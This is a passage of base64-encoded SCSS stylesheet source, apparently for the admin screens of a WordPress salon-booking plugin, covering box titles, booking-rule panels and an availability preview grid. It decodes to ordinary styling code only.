U7XG5cdH1cblx0MjUlIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuXHR9XG5cdHRvIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuXHR9XG59XG4uc2xuLWJveC0tYXBwZWFyZWQge1xuXHRhbmltYXRpb24tZHVyYXRpb246IDUwMG1zO1xuXHRhbmltYXRpb24tbmFtZTogc2xpZGVpbjtcbn1cbi5zbG4tYm94LS1hcHBlYXJlZC0tZGVsYXllZCB7XG5cdGFuaW1hdGlvbi1kdXJhdGlvbjogNTAwbXM7XG5cdGFuaW1hdGlvbi1uYW1lOiBzbGlkZWluO1xuXHRhbmltYXRpb24tZGVsYXk6IDI1MG1zO1xufVxuLnNsbi1ib3gtLWZhZGVpbiB7XG5cdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5mYWRlaW4oMjUwbXMpO1xufVxuLnNsbi1ib3gtbWFpbmluZm8ge1xuXHRAZXh0ZW5kICVmb250LW1lZGl1bTtcblx0QGV4dGVuZCAlZm9udC1jbF9zdGFuZGFyZDtcblx0cGFkZGluZy1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG5cdHAge1xuXHRcdEBleHRlbmQgJWZvbnQtYmlnO1xuXHRcdEBleHRlbmQgJWZvbnQtY2xfc3RhbmRhcmQ7XG5cdFx0bWFyZ2luLXRvcDogMDtcblx0fVxuXHQmLmFsaWduLXRvcCB7XG5cdFx0ZGlzcGxheTogZ3JpZDtcblx0XHRncmlkLXRlbXBsYXRlOiBtaW5tYXgoMnJlbSwgMWZyKSBhdXRvIC8gMWZyO1xuXHRcdC5zbG4taW5wdXQtaGVscCxcblx0XHQuc2xuLWJveC1pbmZvIHtcblx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0Z3JpZC1yb3c6IDI7XG5cdFx0XHRwYWRkaW5nLXRvcDogMDtcblx0XHR9XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuXHRcdFx0Ly9wYWRkaW5nLXRvcDogZW0oMzBweCk7XG5cdFx0fVxuXHR9XG59XG4vLyAuc2xuLXN3aXRjaCArIC5zbG4tYm94LW1haW5pbmZvLFxuLy8gLnNsbi1jaGVja2JveCArIC5zbG4tYm94LW1haW5pbmZvLFxuLy8gLnNsbi1pbnB1dC0tc2ltcGxlICsgLnNsbi1ib3gtbWFpbmluZm8sXG4vLyAuc2xuLXJhZGlvYm94ICsgLnNsbi1ib3gtbWFpbmluZm8ge1xuLy8gXHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKC0xN3B4KTtcbi8vIFx0QGluY2x1ZGUgYnAoZGVza3RvcCkge1xuLy8gXHRcdG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oLTI0cHgpO1xuLy8gXHR9XG4vLyB9XG4uYWxpZ24tdG9wLS1pbnB1dCB7XG5cdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHRwYWRkaW5nLXRvcDogZW0oMTVweCk7XG5cdH1cbn1cbi5hbGlnbi1jZW50ZXIge1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xufVxuLnNsbi1ib3gtdGl0bGUge1xuXHRAZXh0ZW5kICVmb250LWNsX21haW47XG5cdHBhZGRpbmc6IDAgMCBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuXHRAZXh0ZW5kICVmb250LWJpZ2dlcjtcblx0Zm9udC13ZWlnaHQ6IDQwMDtcblx0Ji5zbG4tYm94X19wYW5lbHRpdGxlIHtcblx0XHRtYXJnaW46IHNldHRpbmdzLW1peGlucy5yZW0oLTE1cHgpO1xuXHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG5cdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdGN1cnNvcjogcG9pbnRlcjtcblx0XHQvKiBGSVggMDkyMDIzXG4gICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgICAgd2lkdGg6IDAuODMzMzNyZW07XG4gICAgICAgICAgICBoZWlnaHQ6IDAuODMzMzNyZW07XG4gICAgICAgICAgICBjb250ZW50OiBcIlxcZjA3OFwiO1xuICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgdG9wOiA1MCU7XG4gICAgICAgICAgICByaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KTtcbiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKTtcbiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBcIkZvbnRBd2Vzb21lXCI7XG4gICAgICAgICAgICBmb250LXNpemU6IDAuOTE2NjdyZW07XG4gICAgICAgICAgICBmb250LXdlaWdodDogOTAwO1xuICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDAuODMzMzNyZW07XG4gICAgICAgICAgICBjb2xvcjogIzAwMzU1MztcbiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAxMDBtcztcbiAgICAgICAgfVxuICAgICAgICAqL1xuXHRcdHNwYW4sXG5cdFx0c3Bhbi5ibG9jayB7XG5cdFx0XHRkaXNwbGF5OiBub25lO1xuXHRcdH1cblx0XHQmLnNsbi1ib3hfX3BhbmVsdGl0bGUtLW9wZW4ge1xuXHRcdFx0bWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMXB4KSAhaW1wb3J0YW50O1xuXHRcdFx0c3BhbiB7XG5cdFx0XHRcdGRpc3BsYXk6IGlubGluZTtcblx0XHRcdH1cblx0XHRcdHNwYW4uYmxvY2sge1xuXHRcdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdH1cblx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01MCUpIHJvdGF0ZSgxODBkZWcpO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQmOmhvdmVyIHtcblx0XHR9XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuXHRcdFx0bWFyZ2luOiBzZXR0aW5ncy1taXhpbnMucmVtKC0xN3B4KTtcblx0XHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTdweCk7XG5cdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdHJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDE3cHgpO1xuXHRcdFx0fVxuXHRcdH1cblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuXHRcdFx0bWFyZ2luOiBzZXR0aW5ncy1taXhpbnMucmVtKC0zMHB4KSBzZXR0aW5ncy1taXhpbnMucmVtKC0zMHB4KSAwXG5cdFx0XHRcdHNldHRpbmdzLW1peGlucy5yZW0oLTMwcHgpO1xuXHRcdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0cmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTdweCk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdHNwYW4ge1xuXHRcdEBleHRlbmQgJWZvbnQtYmlnO1xuXHRcdEBleHRlbmQgJWZvbnQtY2xfc3RhbmRhcmQ7XG5cdFx0Jjpub3QoYmxvY2spIHtcblx0XHRcdHBhZGRpbmctbGVmdDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcblx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuXHRcdFx0XHRwYWRkaW5nOiAwO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQmLmJsb2NrIHtcblx0XHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdFx0cGFkZGluZy1sZWZ0OiAwO1xuXHRcdH1cblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcblx0XHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdH1cblx0fVxufVxuLnNsbi1ib3gtdGl0bGUtLXNlYyB7XG5cdEBleHRlbmQgJWZvbnQtY2xfbWFpbjtcblx0cGFkZGluZzogMCAwIHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG5cdEBleHRlbmQgJWZvbnQtYmlnZ2VyO1xuXHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjFweCk7XG5cdGZvbnQtd2VpZ2h0OiA0MDA7XG5cdHNwYW4ge1xuXHRcdEBleHRlbmQgJWZvbnQtYmlnO1xuXHRcdEBleHRlbmQgJWZvbnQtY2xfc3RhbmRhcmQ7XG5cdFx0Jjpub3QoYmxvY2spIHtcblx0XHRcdHBhZGRpbmctbGVmdDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcblx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuXHRcdFx0XHRwYWRkaW5nOiAwO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQmLmJsb2NrIHtcblx0XHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdFx0cGFkZGluZy1sZWZ0OiAwO1xuXHRcdH1cblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcblx0XHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdH1cblx0fVxufVxuLnNsbi1ib3gtdGl0bGUtLXRlciB7XG5cdEBleHRlbmQgJWZvbnQtY2xfbWFpbjtcblx0bWFyZ2luOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpIDA7XG5cdHBhZGRpbmc6IDA7XG5cdEBleHRlbmQgJWZvbnQtYmlnZ2VyO1xuXHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0Zm9udC13ZWlnaHQ6IDQwMDtcbn1cbi5zbG4tYm94LXRpdGxlLS10ZXIgKyAuc2xuLWJveC10aXRsZS0tdGVyIHtcblx0Ly9tYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKC0xMHB4KTtcbn1cbi5zbG4tYm94LXRpdGxlLS1udS0tc2VjIHtcblx0QGV4dGVuZCAlZm9udC1jbF9tYWluO1xuXHRwYWRkaW5nOiAwIDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcblx0QGV4dGVuZCAlZm9udC1iaWc7XG5cdGZvbnQtd2VpZ2h0OiA0MDA7XG5cdHNwYW4ge1xuXHRcdEBleHRlbmQgJWZvbnQtbWVkaXVtO1xuXHRcdEBleHRlbmQgJWZvbnQtY2xfc3RhbmRhcmQ7XG5cdFx0bWFyZ2luLWxlZnQ6IDEuMjVyZW07XG5cdFx0Jjpub3QoYmxvY2spIHtcblx0XHRcdHBhZGRpbmctbGVmdDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcblx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuXHRcdFx0XHRwYWRkaW5nOiAwO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQmLmJsb2NrIHtcblx0XHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdFx0cGFkZGluZy1sZWZ0OiAwO1xuXHRcdH1cblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcblx0XHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdH1cblx0fVxuXHQrIC5zbG4tYWxlcnQge1xuXHRcdG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG5cdH1cbn1cbi5zbG4tYm94LXRpdGxlLS1udS0tc2VjICsgc3BhbiB7XG5cdG1hcmdpbi1sZWZ0OiAxLjI1cmVtO1xufVxuLnNsbi1ib3gtdGl0bGUtLW51LS10ZXIge1xuXHRAZXh0ZW5kICVmb250LWNsX21haW47XG5cdHBhZGRpbmc6IDAgMCBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpO1xuXHRAZXh0ZW5kICVmb250LWJpZztcblx0Zm9udC13ZWlnaHQ6IDQwMDtcbn1cbi5zbG4tYm94LXRpdGxlLS1udS0tZGFyayxcbi5zbG4tYm94LXRpdGxlLS1udS0tdGVyLnNsbi1ib3gtdGl0bGUtLW51LS1kYXJrIHtcblx0Y29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbnUtLWhpZ2hlbXBoYTtcbn1cbi5zbG4tYm94LWluZm8sXG5wLnNsbi1ib3gtaW5mbyB7XG5cdHBhZGRpbmctYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuXHRAZXh0ZW5kICVmb250LW1lZGl1bTtcblx0LnNsbi1ib3gtaW5mby10cmlnZ2VyIHtcblx0XHQuc2xuLWJ0bi0tc21hbGwuc2xuLWJ0bi0taWNvbjphZnRlciB7XG5cdFx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMTdweCk7XG5cdFx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxN3B4KTtcblx0XHR9XG5cdFx0LnNsbi1pY29uLS1jbG9zZSB7XG5cdFx0XHRkaXNwbGF5OiBub25lO1xuXHRcdH1cblx0XHQuc2xuLWljb24tLWluZm8ge1xuXHRcdFx0bWFyZ2luLXRvcDogMDtcblx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKG1hcmdpbi10b3AgMzAwbXMpO1xuXHRcdH1cblx0fVxuXHQuc2xuLWJveC1pbmZvLWNvbnRlbnQge1xuXHRcdG1heC1oZWlnaHQ6IDA7XG5cdFx0b3ZlcmZsb3c6IGhpZGRlbjtcblx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24obWF4LWhlaWdodCAyMDBtcyk7XG5cdFx0QGV4dGVuZCAlZm9udC1iaWc7XG5cdFx0QGV4dGVuZCAlZm9udC1jbF9zdGFuZGFyZDtcblx0XHRoNSB7XG5cdFx0XHRAZXh0ZW5kICVmb250LWJpZztcblx0XHRcdEBleHRlbmQgJWZvbnQtY2xfc3RhbmRhcmQ7XG5cdFx0fVxuXHR9XG59XG4uc2xuLWJveC0taW5mby12aXNpYmxlIC5zbG4tYm94LWluZm8ge1xuXHQuc2xuLWJveC1pbmZvLXRyaWdnZXIge1xuXHRcdC5zbG4taWNvbi0taW5mbyB7XG5cdFx0XHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuXHRcdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24obWFyZ2luLXRvcCAzMDBtcyk7XG5cdFx0fVxuXHRcdC5zbG4taWNvbi0tY2xvc2UsXG5cdFx0LnNsbi1pY29uLS1pbmZvIHtcblx0XHRcdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0XHRcdCY6YWZ0ZXIge1xuXHRcdFx0XHRjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuXHRcdFx0fVxuXHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdCY6YWZ0ZXIge1xuXHRcdFx0XHRcdGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdC5zbG4tYm94LWluZm8tY29udGVudCB7XG5cdFx0bWF4LWhlaWdodDogMTAwMHB4O1xuXHR9XG59XG4uc2xuLWJveF9fZm9vdGVyIHtcblx0cGFkZGluZy10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdHBhZGRpbmctYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xufVxuLnNsbi1ib3hfX2FjdGlvbnMge1xuXHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHRtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xufVxuLyogQk9PS0lORyBSVUxFUyAqL1xuI3Nsbi1zYWxvbi0tYWRtaW4ge1xuXHQuc2xuLWJvb2tpbmctcnVsZSB7XG5cdFx0LnNsbi10aXRsZS13cmFwcGVyIHtcblx0XHRcdGFsaWduLWl0ZW1zOiBlbmQ7XG5cdFx0fVxuXHR9XG5cdC5zbG4tYm9va2luZy1ydWxlc19fYWN0aW9ucyB7XG5cdFx0bWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0XHRtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHR9XG5cbiAgLmF2YWlsYWJpbGl0eS1wcmV2aWV3LWJveCB7XG4gICAgLnNsbi1hdmFpbGFiaWxpdHktcHJldmlldy1pbmZvIHtcbiAgICAgIGJhY2tncm91bmQ6ICNmOGY5ZmE7XG4gICAgICBib3JkZXI6IDFweCBzb2xpZCAjZTllY2VmO1xuICAgICAgYm9yZGVyLXJhZGl1czogOHB4O1xuICAgICAgcGFkZGluZzogMTZweCAyMHB4O1xuICAgICAgbWFyZ2luLWJvdHRvbTogMjBweDtcbiAgICB9XG5cbiAgICAucHJldmlldy1pbmZvLWl0ZW0ge1xuICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICBnYXA6IDEycHg7XG4gICAgICBwYWRkaW5nOiAxMHB4IDA7XG5cbiAgICAgIC5wcmV2aWV3LWluZm8taWNvbiB7XG4gICAgICAgIGZvbnQtc2l6ZTogMjRweDtcbiAgICAgICAgd2lkdGg6IDQwcHg7XG4gICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgIH1cblxuICAgICAgLnByZXZpZXctaW5mby1jb250ZW50IHtcbiAgICAgICAgZmxleDogMTtcblxuICAgICAgICAucHJldmlldy1pbmZvLWxhYmVsIHtcbiAgICAgICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICAgICAgY29sb3I6ICM2Yzc1N2Q7XG4gICAgICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcbiAgICAgICAgICBsZXR0ZXItc3BhY2luZzogMC41cHg7XG4gICAgICAgICAgbWFyZ2luLWJvdHRvbTogNHB4O1xuICAgICAgICB9XG5cbiAgICAgICAgLnByZXZpZXctaW5mby12YWx1ZSB7XG4gICAgICAgICAgZm9udC1zaXplOiAxOHB4O1xuICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgICAgICAgY29sb3I6ICMyYzNlNTA7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG5cbiAgICAuc2xuLWF2YWlsYWJpbGl0eS1wcmV2aWV3LXRhYmxlLXdyYXBwZXIge1xuICAgICAgLnNsbi1hdmFpbGFiaWxpdHktcHJldmlldy10YWJsZSB7XG4gICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgIHBhZGRpbmctYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpO1xuXG4gICAgICAgIC5wcmV2aWV3LWdyaWQge1xuICAgICAgICAgIGRpc3BsYXk6IGdyaWQ7XG4gICAgICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiByZXBlYXQoNywgMWZyKTtcbiAgICAgICAgICBncmlkLWdhcDogNHB4O1xuXG4gICAgICAgICAgLnByZXZpZXctY2VsbCB7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmO1xuICAgICAgICAgICAgcGFkZGluZzogMTJweCA4cHg7XG4gICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICAgICAgICBmb250LXdlaWdodDogNTAwO1xuICAgICAgICAgICAgbWluLWhlaWdodDogNDBweDtcbiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICAgICAgICBib3JkZXItcmFkaXVzOiA4cHg7XG4gICAgICAgICAgICBjb2xvcjogIzAwMDtcbiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDtcblxuICAgICAgICAgICAgJi5oZWFkZXIge1xuICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDk3OGJkO1xuICAgICAgICAgICAgICBjb2xvcjogI2ZmZjtcbiAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAmLmF2YWlsYWJsZSB7XG4gICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICM1YmM1NjI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICYudW5hdmFpbGFibGUge1xuICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjYjZiNmI2O1xuICAgICAgICAgICAgICBvcGFjaXR5OiAwLjg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDc2OHB4KSB7XG4gICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTBweDtcbiAgICAgICAgICAgICAgbWluLWhlaWdodDogMzJweDtcbiAgICAgICAgICAgICAgcGFkZGluZzogOHB4IDRweDtcbiAgICAgICAgICAgICAgJi5oZWFkZXIge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDtcbiAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuXG4gICAgICBAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjhweCkge1xuICAgICAgICBvdmVyZmxvdy14OiBhdXRvO1xuICAgICAgICAuc2xuLWF2YWlsYWJpbGl0eS1wcmV2aWV3LXRhYmxlIHtcbiAgICAgICAgICBtaW4td2lkdGg6IDcwMHB4O1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuXG4gICAgLnNsbi1hdmFpbGFiaWxpdHktcHJldmlldy1sb2FkaW5nIHtcbiAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgIHBhZGRpbmc6IDQwcHggMjBweDtcbiAgICAgIGNvbG9yOiAjNmM3NTdkO1xuXG4gICAgICAubG9hZGluZy1zcGlubmVyIHtcbiAgICAgICAgd2lkdGg6IDMwcHg7XG4gICAgICAgIGhlaWdodDogMzBweDtcbiAgICAgICAgYm9yZGVyOiAzcHggc29saWQgI2YzZjNmMztcbiAgICAgICAgYm9yZGVyLXRvcDogM3B4IHNvbGlkICMyYzNlNTA7XG4gICAgICAgIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgICAgICAgYW5pbWF0aW9uOiBzcGluIDFzIGxpbmVhciBpbmZpbml0ZTtcbiAgICAgICAgbWFyZ2luOiAwIGF1dG8gMTVweDtcbiAgICAgIH1cbiAgICB9XG5cbiAgICAucHJldmlldy1tZXNzYWdlIHtcbiAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgIHBhZGRpbmc6IDQwcHggMjBweDtcbiAgICAgIGNvbG9yOiAjNmM3NTdkO1xuICAgICAgZm9udC1zdHlsZTogaXRhbGljO1xuICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgYmFja2dyb3VuZDogI2Y4ZjlmYTtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDhweDtcbiAgICB9XG5cbiAgICBAa2V5ZnJhbWVzIHNwaW4ge1xuICAgICAgMCUge1xuICAgICAgICB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcbiAgICAgIH1cbiAgICAgIDEwMCUge1xuICAgICAgICB0cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO1xuICAgICAgfVxuICAgIH1cbiAgfVxufVxuLyogQk9PS0lORyBSVUxFUyAvLyBFTkQgKi9cblxuLyogQVRURU5EQVRTICYgU0VSVklDRVMgQ09MTEFQU0UgKi9cbi53cC1hZG1pbi5wb3N0LXR5cGUtc2xuX2F0dGVuZGFudCxcbi53cC1hZG1pbi5wb3N0LXR5cGUtc2xuX3NlcnZpY2Uge1xuXHQucG9zdGJveC1oZWFkZXIge1xuXHRcdGRpc3BsYXk6IG5vbmU7XG5cdH1cblx0I3Nsbl9zZXJ2aWNlLWRldGFpbHMge1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdFx0LnNsbi1ib3gtLW1haW4ge1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogI2ZmZjtcblx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKGJhY2tncm91bmQtY29sb3IgMjUwbXMpO1xuXHRcdFx0Ji5zbG4tYm94LS1pbmZvLXZpc2libGUge1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX3dhcm5pbmctLWxpZ2h0O1xuXHRcdFx0fVxuXHRcdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmNsZWFyZml4KCk7XG5cdFx0XHQmLnNsbi1ib3gtLW1haW4tLXRyYW5zcCB7XG5cdFx0XHRcdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdFx0fVxuXHRcdFx0Ji5zbG4tYm94LS1oYXNwYW5lbCB7XG5cdFx0XHRcdC5zbG4tYm94LXRpdGxlLnNsbi1ib3hfX3BhbmVsdGl0bGUge1xuXHRcdFx0XHRcdHRyYW5zaXRpb246IGFsbCAyNTBtcztcblx0XHRcdFx0fVxuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNikgIWltcG9ydGFudDtcblx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuXHRcdFx0XHQmLnNsbi1ib3gtLWhhc3BhbmVsLS1vcGVuIHtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDEpICFpbXBvcnRhbnQ7XG5cdFx0XHRcdFx0Ym9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRcdFx0XHQuc2xuLWJveC10aXRsZS5zbG4tYm94X19wYW5lbHRpdGxlIHtcblx0XHRcdFx0XHRcdGZvbnQtc2l6ZTogMXJlbTtcblx0XHRcdFx0XHRcdHRyYW5zaXRpb246IGFsbCAyNTBtcztcblx0XHRcdFx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01MCUpIHJvdGF0ZSgxODBkZWcpO1xuXHRcdFx0XHRcdFx0fVxuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0XHRAbWVkaWEgKGhvdmVyOiBob3ZlcikgYW5kIChwb2ludGVyOiBmaW5lKSB7XG5cdFx0XHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDEpICFpbXBvcnRhbnQ7XG5cdFx0XHRcdFx0XHQuc2xuLWJveC10aXRsZS5zbG4tYm94X19wYW5lbHRpdGxlIHtcblx0XHRcdFx0XHRcdFx0Zm9udC1zaXplOiAxLjA1cmVtO1xuXHRcdFx0XHRcdFx0XHR0cmFuc2l0aW9uOiBhbGwgMjUwbXM7XG5cdFx0XHRcdFx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0XHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTUwJSkgcm90YXRlKDE4MGRlZyk7XG5cdFx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdC5zbG4tYm94X19wYW5lbHRpdGxlIHtcblx0XHRcdFx0bWFyZ2luOiBzZXR0aW5ncy1taXhpbnMucmVtKC0xNXB4KTtcblx0XHRcdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KTtcblx0XHRcdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuXHRcdFx0XHRcdG1hcmdpbjogc2V0dGluZ3MtbWl4aW5zLnJlbSgtMTdweCk7XG5cdFx0XHRcdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgxN3B4KTtcblx0XHRcdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdFx0XHRyaWdodDogc2V0dGluZ3MtbWl